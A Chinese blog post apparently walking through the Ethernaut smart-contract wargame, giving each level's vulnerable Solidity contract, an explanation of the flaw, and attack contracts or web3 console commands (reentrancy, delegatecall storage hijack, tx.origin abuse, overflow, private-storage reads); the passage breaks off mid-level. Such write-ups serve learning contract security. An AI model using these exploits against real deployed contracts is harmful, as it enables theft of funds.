内容简介:很长时间都没有更新博客了,一个是确实这一长段的时间学的东西都很杂乱,另一方面是考虑到之后的论文害怕被查重的问题,不是特别想写。加上实验室的各种杂事和项目东西也没时间玩玩比赛,成为了真正的只看 wp 的老年退役选手。之前在学点前端开发的东西,egg+vue 相关的,找到一个论文的点,还没来得及落笔。这最近主要在搞搞区块链,主要点放在比特币、以太坊和超级账本上面把,想着把区块链和工控结合一下,不过结合点很局限,而且可能只有联盟链还能有些结合点,当然结合点又会引发很多新的问题,还得多看多学。这种偏理论的东西还是
很长时间都没有更新博客了,一个是确实这一长段的时间学的东西都很杂乱,另一方面是考虑到之后的论文害怕被查重的问题,不是特别想写。加上实验室的各种杂事和项目东西也没时间玩玩比赛,成为了真正的只看 wp 的老年退役选手。
之前在学点前端开发的东西,egg+vue 相关的,找到一个论文的点,还没来得及落笔。这最近主要在搞搞区块链,主要点放在比特币、以太坊和超级账本上面把,想着把区块链和工控结合一下,不过结合点很局限,而且可能只有联盟链还能有些结合点,当然结合点又会引发很多新的问题,还得多看多学。这种偏理论的东西还是思维没打开。不知道有师傅有想法没有可以交流一下。
学习以太坊的时候把 zeppelin ethernaut 的题目刷了一下,不过那天一看又多了两个题目,干脆写个博客算了。
hello ethernaut
教程关没啥好说的,跟着提示一步步搞就行了
await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')
help 可以看帮助, contract 就是你申请创建的合约节点的对象。
Fallback
说明 fallback 函数的作用,当然这里说的 fallback 函数不是本关 Fallback 合约的构造方法。
这一关的目的是要成为合约节点的 owner 以及把合约节点上 ETHER 全部转走。
看看合约内容
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
成为 owner 有两种办法
- 通过
contribute向它转1000 ether,而且每次转账要小于0.001 ether,显然不行。 - 通过 fallback 函数只要向它转账就行了。
为了满足 fallback 的 contributions[msg.sender] > 0 要先调用一次 contribute 函数
如下:
await contract.contribute({value: 1})
await contract.sendTransaction({value: 1})
// 上两步成为了 owner,下一步把合约的钱转走
await contract.withdraw()
然后 submit 就通过了。
Fallout
这一关的目的也是成为 owner,源码如下:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
这一关就有点无聊了,注意函数名 Fal1out() ,不是 Fallout() ,所以不是构造函数,直接调用就可以了
await contract.Fal1out({"value":1})
Coin Flip
胜利条件是连续赢 10 次硬币翻转就行了。
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
可以看到这里正反面由上一个 block 的 hash 与一个固定值计算得出,那这种随机是不安全的,我们可以部署一个 attack.sol ,提示也提示了用 remix。
pragma solidity ^0.4.18;
contract CoinFlip {
function CoinFlip() public {}
function flip(bool _guess) public returns (bool) {}
}
contract attack{
address game;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address param){
game=param;
}
function go() public{
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = (coinFlip==1);
CoinFlip a = CoinFlip(game);
a.flip(side);
}
}
运行 10 次 go 就可以了。生成可靠的随机数可能很棘手,目前还没有生成它们的本地方法,因为在智能合约中使用的所有内容都是公开可见的,包括标记为私有的局部变量和状态变量。
telephone
目的也是要成为合约的所有者。
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这里区分一下 tx.origin 和 msg.sender ,
给定这样一个场景如:用户通过合约 A 调合约 B.
此时
- 对于合约 A :
tx.origin和msg.sender都是用户。 - 对于合约 B :
tx.origin是用户 .msg.sender是合约 A
origin ,字面意思根源,起源。
所以,这里我们部署一个合约内容如下
pragma solidity ^0.4.18;
contract Telephone {
function Telephone() public {}
function changeOwner(address _owner) public {}
}
contract attack{
address target;
constructor(address param){
target = param;
}
function go(){
Telephone a = Telephone(target);
a.changeOwner(msg.sender);
}
}
然后攻击者调用 go 函数就可以了。
token
这个就是经典的整形溢出的问题了。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这里原理是利用输入的 value 大于 20,导致减完之后就会为负,溢出成为一个很大的正整数就可以了。
Delegation
这个题有点疑问,不过我只是觉得我的方法没错并且本地也可以成功,应该哪儿有点问题。
我自己测试代码如下:
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
contract attack{
function go(address param){
param.call(bytes4(keccak256("pwn()")));
}
}
我依次部署 Delegate 和 Delegation 合约,然后再部署 attack 合约在地址 A,然后调用 go 函数传入 Delegation 合约的地址,能够成功修改其 owner,但是却无法修改题目服务器的 owner。
这里其实主要思路就是 fallback 的触发条件:
- 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数
- 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时
fallback需要带有payable 标记。否则,合约就会拒绝这 Ether。
所以直接向实例的地址发起调用一个 pwn 函数的交易就可以了,然后就会自动进入到 fallback 函数体。这里调用需要用 method id (函数选择器),比如 pwn 函数的 method id 就是 keccak256("pwn()")) 取前四个字节,在 web3 中 sha3 就是 keccak256,所以是 web3.sha3("pwn()").substr(0,10) 。
所以最后结果就是
data=web3.sha3("pwn()").slice(0,10);
await web3.eth.sendTransaction({from:player,to:instance,data:data,gas: 1111111},function(x,y){console.error(y)});
Force
这里我们在上一关提到了关于接受转账的话要 fallback 函数为 payable,否则会拒绝收到的转账,但是有一个特例是无法拒绝其他合约通过调用 selfdestruct 自毁之后的资金转移。
构造一个:
pragma solidity ^0.4.18;
contract attack{
function () payable{
}
function go(address param){
selfdestruct(param);
}
}
然后部署完了给这个合约转点 ETHER,之后调用 go 函数即可。
Vault
参考链接:
https://solidity.readthedocs.io/en/v0.4.21/contracts.html#visibility-and-getters
https://hackernoon.com/your-private-solidity-variable-is-not-private-save-it-before-it-becomes-public-52a723f29f5e题目代码如下:
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
private 变量不能被别的合约访问,但是区块链上的信息是完全公开的,可以通过 web3 的 getStorage 函数获取到。
1 表示目标合约的第二个变量
web3.eth.getStorageAt(address,1,function(x,y){console.info(y);});
之后 unlock 就可以了。
King
题目代码如下:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
开始还以为是一定要选手账户成为 king,后来才知道搞个别的账户成为 king 也可以,只需要阻止 level address 成为 king 就可以了。
那就写个合约,不接受最后的 transfer 就可以了,这样就会导致 contract 合约上的 tranfer 异常从而执行中断。要想不接受转账就很简单了,不写带 payable 的 fallback 函数、fallback 里面利用 require() 抛出异常或者 revert() 直接返回就可以了。
pragma solidity ^0.4.18;
contract attack{
constructor(address param) public payable{
param.call.gas(10000000).value(msg.value)();
}
}
Re-entrancy (X)
题目代码如下:
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
比较典型的 DAO 攻击事件的例子了。
本地私有链成功了,但是测试网死活失败的,有点难受。
大概攻击脚本如下。
在测试网里面,一旦调用 hack 函数了,就是账户里面也没有记录,钱也到对面账户里去了,人才两空 23333.
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
constructor() payable
{
}
}
contract Attack {
address instance_address;
Reentrance target ;
uint cnt=2;
function Attack(address param) payable{
instance_address = param;
target = Reentrance(instance_address);
}
function donate() public payable {
target.donate.value(0.5 ether)(this);
}
function () public payable {
while(cnt>0){
cnt--;
target.withdraw(0.5 ether);
}
}
function hack() public {
target.withdraw(0.5 ether);
}
function get_balance() public view returns(uint) {
return target.balanceOf(this);
}
function my_eth_bal() public view returns(uint) {
return address(this).balance;
}
function ins_eth_bal() public view returns(uint) {
return instance_address.balance;
}
}
Elevator
题目代码如下:
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
伪造一个合约在被调用 isLastFloor ,第一次返回 false,第二次返回 true 就可以了。
如下:
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
function goTo(uint _floor) public {}
}
contract attack is Building{
uint cnt=0;
function isLastFloor(uint) view public returns (bool){
if(cnt == 0){
cnt++;
return false;
}
else
return true;
}
function go(address param){
Elevator a = Elevator(param);
a.goTo(1);
}
}
Privacy
题目代码如下:
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api, web3.eth.getStorageAt 就可以,依次获取
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);})
0x000000000000000000000000000000000000000000000000000000d80cff0a01
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);})
0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);})
0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);})
0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);})
0x0000000000000000000000000000000000000000000000000000000000000000
....
根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。
那么我们简单分析下题目中的变量们:
bool public locked = true; //1 字节 01 uint256 public constant ID = block.timestamp; //32 字节 uint8 private flattening = 10; //1 字节 0a uint8 private denomination = 255;//1 字节 ff uint16 private awkwardness = uint16(now);//2 字节 bytes32[3] private data;
那么第一个 32 字节就是由 locked 、 flattening 、 denomination 、 awkwardness 组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。
那么 data[2] 就是 0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93 ,
注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。
执行 unlock 即可。
Gatekeeper One (X)
题目代码如下:
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
很绝望,又是一个本地和私有链都能成功,远程就是成功不了。
分析下代码,主要就是通过三个验证:
gateOne :这个通过部署一个中间恶意合约即可绕过
gateTwo :稍微难一点,我觉我远程成功不了的原因就在这里。 msg.gas 指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要 81910+x ,x 为从开始到运行完 msg.gas 所消耗的 gas。网上的 wp 通篇一律的都是 x=215 ,但是我 javascript VM 环境下调出来是 x=181 。但是两个答案都是错误的。
那我更换一下编译器,测出来如下:
0.4.13~0.4.17 : x=160 0.4.18~0.4.21 : x=181 0.4.22~0.4.25 : x=324
然后把这些都试过了,不出意外的都失败了。最后贴一下代码
pragma solidity ^0.4.17;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
GatekeeperOne a;
bytes8 _gateKey=bytes8(msg.sender) & 0xffffffff0000ffff;
function attack(address instance) payable{
a=GatekeeperOne(instance);
}
function test(){
a.call.gas(10000)(bytes4(keccak256("enter(bytes8)")),_gateKey);
}
function hack(){
a.call.gas(81910+324)(bytes4(keccak256("enter(bytes8)")),_gateKey);
}
}
Gatekeeper Two
题目代码
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
和上一题类似, gateOne 不多说了。
gateTwo 的话题干给了提示黄皮书第 7 节:
(4) 的引用为
所以很明确了,初始化的时候合约还没有完全创建,代码大小是为 0,那就意味着我们把攻击的代码写到合约的构造函数里面去就可以了。
至于第三个直接异或就可以了。
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
function attack(address param){
GatekeeperTwo a = GatekeeperTwo(param);
bytes8 _gateKey =bytes8((uint64(0) - 1) ^ uint64(keccak256(this)));
a.enter(_gateKey);
}
}
Naught Coin
题目代码如下:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
题目要求是把账户的所有钱转光。
但是我们简单看一下逻辑,如果我们要转走所有的钱需要 10 年后才行,暂时也没有发现逻辑中有问题的地方。
既然子合约没有什么问题,那我们看看 import 的父合约
StandardToken.sol ,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个 transfer 一个 transferFrom ,题目中代码只重写了 transfer 函数,那未重写 transferFrom 就是一个可利用的点了。直接看看 StandardToken.sol 代码:
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
...
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
...
}
跟进 ERC20Lib.sol :
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
可以直接调用这个 transferFrom 即可了。但是 transferFrom 有一步权限验证,要验证这个 msg.sender 是否被 _from (实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。
所以如下操作即可:
await contract.approve(player,1000000*(10*18)) await contract.transferFrom(player,instance,1000000*(10**18));
Preservation (X)
题目代码如下:
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
这里就是主要利用 delegatecall 函数的特性,先介绍下:
delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:
contract a{
uint public x1;
uint public x2;
function funca(address param){
param.delegate(bytes4(keccak256("funcb()")));
}
}
contract b{
uint public y1;
uint public y2;
function funcb(){
y1=1;
y2=2;
}
}
上述合约中,一旦在 a 中调用了 b 的 funcb 函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。
在这个过程中实际 b 合约的 funcb 函数是把 storage 里面的 slot 1 的值更换为了 1,把 slot 2 的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。
所以这个题就很好办了,我们调用 Preservation 的 setFirstTime 函数时候实际通过 delegatecall 执行了 LibraryContract 的 setTime 函数,修改了 slot 1 ,也就是修改了 timeZone1Library 变量。
这样,我们第一次调用 setFirstTime 将 timeZone1Library 变量修改为我们的恶意合约的地址,第二次调用 setFirstTime 就可以执行我们的任意代码了。
如下:
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
contract attack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner=address(_time);
}
}
-
- 执行
contract.setFirstTime(addr),其中addr为attack合约的地址
- 执行
-
- 再执行
contract.setFirstTime(player)即可成功修改 owner 为 player。
- 再执行
私有链成功了,但是题目服务器没有成功。
Locked
代码如下
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
这个就是典型的利用 struct 默认是 storage 的题目,具体介绍看上一篇博客即可。
函数中声明的 newRecord ,修改 name 和 mappedAddress 实际分别改的是 unlocked 和 bytes32 的 name 。所以我们把 name 对应的 slot 1 的值改成 1 就可以了。攻击合约如下:
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
contract attack{
function go(address param){
Locked a = Locked(param);
a.register(bytes32(1),address(msg.sender));
}
}
Recovery
代码如下:
pragma solidity ^0.4.23;
contract Recovery {
//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
function() public payable {
balances[msg.sender] = msg.value*10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address _to) public {
selfdestruct(_to);
}
}
题目简单来说就是已知一个 Recovery 合约地址,恢复一下它创建的 SimpleToken 合约的地址。
Method 1
这个我们直接看黄皮书第七节就可以了:
关于 nonce 的说明在第四节
简单来说,我们可以总结如下:
new_addr = address(keccak256(RLP([sender_address,nonce])))
nonce 这里很容易我们可以分析得到是 1
nonce=0 一般是智能合约自己创造的事件
sender_address 就是我们得到的题目的 instance 的地址,这里我的是 0x80e71134fa32b2bb01d6e611e48016aef574be40 。
根据 RLP 编码的官方文档 ,我们拿到了编码的 py 脚本如下:
def rlp_encode(input):
if isinstance(input,str):
if len(input) == 1 and ord(input) < 0x80: return input
else: return encode_length(len(input), 0x80) + input
elif isinstance(input,list):
output = ''
for item in input: output += rlp_encode(item)
return encode_length(len(output), 0xc0) + output
def encode_length(L,offset):
if L < 56:
return chr(L + offset)
elif L < 256**8:
BL = to_binary(L)
return chr(len(BL) + offset + 55) + BL
else:
raise Exception("input too long")
def to_binary(x):
if x == 0:
return ''
else:
return to_binary(int(x / 256)) + chr(x % 256)
所以我们计算如下:
print rlp_encode(["80e71134fa32b2bb01d6e611e48016aef574be40".decode('hex'),"01".decode('hex')]).encode('hex')
'''
$ python /tmp/rlp_encode.py
d69480e71134fa32b2bb01d6e611e48016aef574be4001
'''
拿到结果 d69480e71134fa32b2bb01d6e611e48016aef574be4001
然后拿到 solidity 里面计算地址
pragma solidity ^0.4.18;
contract test{
function func() view returns (address){
return address(keccak256(0xd69480e71134fa32b2bb01d6e611e48016aef574be4001));
}
}
得到结果 0xDD48155C966c68cc594a58ce84b67ce9B5CA058E ,这就是我们恢复出来的合约的地址,那么我们可以直接利用 remix 的 at address 功能
然后再调用合约的 destroy 函数就能把所有的钱转回去,从而解决该题目。
Method 2
当然我们还有更简单的办法:
要知道区块链上所有的信息都是公开的,我们直接上 ropsten 测试网的官方网页查就可以了,搜索 instance 地址 0x80e71134fa32b2bb01d6e611e48016aef574be40 ,成功查到:
MagicNumber
参考链接: https://www.jianshu.com/p/d9137e87c9d3
这个题就是部署一个合约要求在被调用 whatIsTheMeaningOfLife() 函数时返回 0x42 就可以了。
但是有一个要求是不能超过 10 个 opcode。
这个题目中的有些问题我目前还不是特别清楚还需要研究,不过勉强能把这一关给过了。之后会单写篇文章来解释。
合约的 bytecode(字节码) 一般分为三个部分:(摘自参考链接)
// 部署代码,创建合约时运行部署代码,目的是创建合约并把合约代码 copy 过去 60606040523415600e57600080fd5b5b603680601c6000396000f300 // 合约代码,即实际执行逻辑,代码的主要部分,让它返回 0x42 并且不超过 10 个 opcode 就可以了。 60606040525b600080fd00 // Auxdata,源码的加密指纹,用来验证。可选。 a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
先构造合约代码,实际上只需要这样子的合约代码就够了:
600a600c600039600a6000f3604260805260206080f3
Alien Codex
pragma solidity ^0.4.24;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function (bytes32[] _firstContactMessage) public {
assert(_firstContactMessage.length > 2**200);
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
这里我们首先看到无论调用按个函数都需要过 contacted 函数修饰器。所以首先就要使 contact=true ,那么就是要解决 make_contact 中的这个问题。
直接看 doc
https://solidity.readthedocs.io/en/v0.4.25/abi-spec.html#use-of-dynamic-types
这里描述了动态数组类型的 abi 标准,我们只需要构造长度的值就可以了。详细的构造在后面。
接下来我们需要修改 owner,很容易知道,owner 存储在 slot 0 里面,和 contact 在同一个 slot,但是我们先简单看下代码,只知道我们可以操作 codex 的值,codex 作为一个不定长的数组,我们根据 doc
